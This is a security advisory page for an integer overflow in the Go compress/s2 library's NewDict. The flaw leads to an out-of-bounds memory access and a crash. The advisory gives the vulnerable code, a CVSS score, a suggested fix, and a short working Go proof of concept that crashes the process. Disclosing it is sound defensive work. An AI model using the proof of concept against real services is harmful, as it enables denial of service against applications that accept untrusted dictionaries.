GHSA-259r-337f-4rfw

    Dashboard / Vulnerabilities / GHSA-259r-337f-4rfw

    GHSA-259r-337f-4rfw

    Published: 20 Oct 2026Last Modified: 20 Oct 2026

    Summary: Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

    Details: # Signed Integer Overflow in s2.NewDict ## Summary A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV. ## Package - **Name:** `github.com/klauspost/compress/s2` - **Ecosystem:** Go - **Affected versions:** <= v1.18.6 (all versions with `NewDict` function) ## Severity **High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` ## Vulnerability ### Type - CWE-190: Integer Overflow or Wraparound - CWE-787: Out-of-bounds Write (via unsafe.Pointer) ### Description The `NewDict()` function reads a uvarint from dictionary data and converts it to `int`: ```go r, n := binary.Uvarint(dict) // ... d.repeat = int(r) if d.repeat > len(dict) { return nil } ``` When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed. When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`: ```go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer ``` `load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking: ```go func Load32[I Indexer](b []byte, i I) uint32 { return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) } ``` This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced. ## PoC ```go package main import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" ) func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation) src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer } ``` ## Impact - **Denial of Service:** The process crashes immediately with SIGSEGV ## Attack Vector Any application that: 1. Accepts user-supplied S2 dictionary data via `s2.NewDict()` 2. Calls `Dict.Encode()` on any data ≥32 bytes ## Suggested Fix Validate the uvarint value before converting to int: ```go if r > math.MaxInt64 { return nil } d.repeat = int(r) ``` Or use `uint` for the repeat field and validate against `uint(len(dict))`. ## References - Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits) ## Credits Christopher Linke / https://github.com/celinke97/

    Affected packages

    Package

    Name: github.com/klauspost/compress

    Purl: pkg:golang/github.com/klauspost/compress

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.18.7

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-259r-337f-4rfw | CVE-DB